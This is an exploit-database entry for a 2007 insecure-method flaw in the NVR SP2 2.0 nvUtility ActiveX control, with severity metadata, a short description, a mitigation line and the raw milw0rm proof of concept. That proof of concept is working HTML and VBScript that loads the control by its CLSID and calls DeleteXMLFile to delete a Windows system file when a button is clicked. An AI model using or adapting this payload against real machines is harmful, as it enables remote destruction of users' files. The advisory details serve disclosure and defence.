NVR SP2 2.0 nvUtility.Utility.1 (nvUtility.dll v. 1.0.14.0) 'DeleteXMLFile()' Insecure Method

vendor:

SP2

by:

shinnai

7.5

CVSS

HIGH

Insecure Method

601

CWE

Product Name: SP2

Affected Version From: NVR SP2 2.0

Affected Version To: NVR SP2 2.0

Patch Exists: NO

Related CWE: Not available

CPE: a:nvr:sp2:2.0

Metasploit:

Other Scripts:

Platforms Tested: Windows XP Professional SP2 with Internet Explorer 7

2007

NVR SP2 2.0 nvUtility.Utility.1 (nvUtility.dll v. 1.0.14.0) ‘DeleteXMLFile()’ Insecure Method

This exploit targets the 'DeleteXMLFile()' method in the NVR SP2 2.0 nvUtility.Utility.1 control. It allows an attacker to delete arbitrary files on the system. All software that uses this control is vulnerable to this exploit.

Mitigation:

The vendor should update the control to fix the insecure method and ensure that it is safe for use in untrusted environments.

Source

Exploit-DB raw data:

----------------------------------------------------------------------------------------------
 NVR SP2 2.0 nvUtility.Utility.1 (nvUtility.dll v. 1.0.14.0) "DeleteXMLFile()" Inscure Method
 url: http://www.acti.com/index.asp

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not be responsible for any damage.
 
 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to this exploits.

 This control is marked as:
 RegKey Safe for Script: False
 RegKey Safe for Init: False
 Implements IObjectSafety: True
 IDisp Safe: Safe for untrusted: caller
 KillBitSet: Falso
----------------------------------------------------------------------------------------------

<object classid='clsid:A0D43FB0-116B-47AB-80FB-6DCFA92A03E3' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  Dim MyMsg  
   test.DeleteXMLFile "c:\windows\system_.ini"
   MyMsg = MsgBox("Exploit completed!")
 End Sub
</script>

# milw0rm.com [2007-08-27]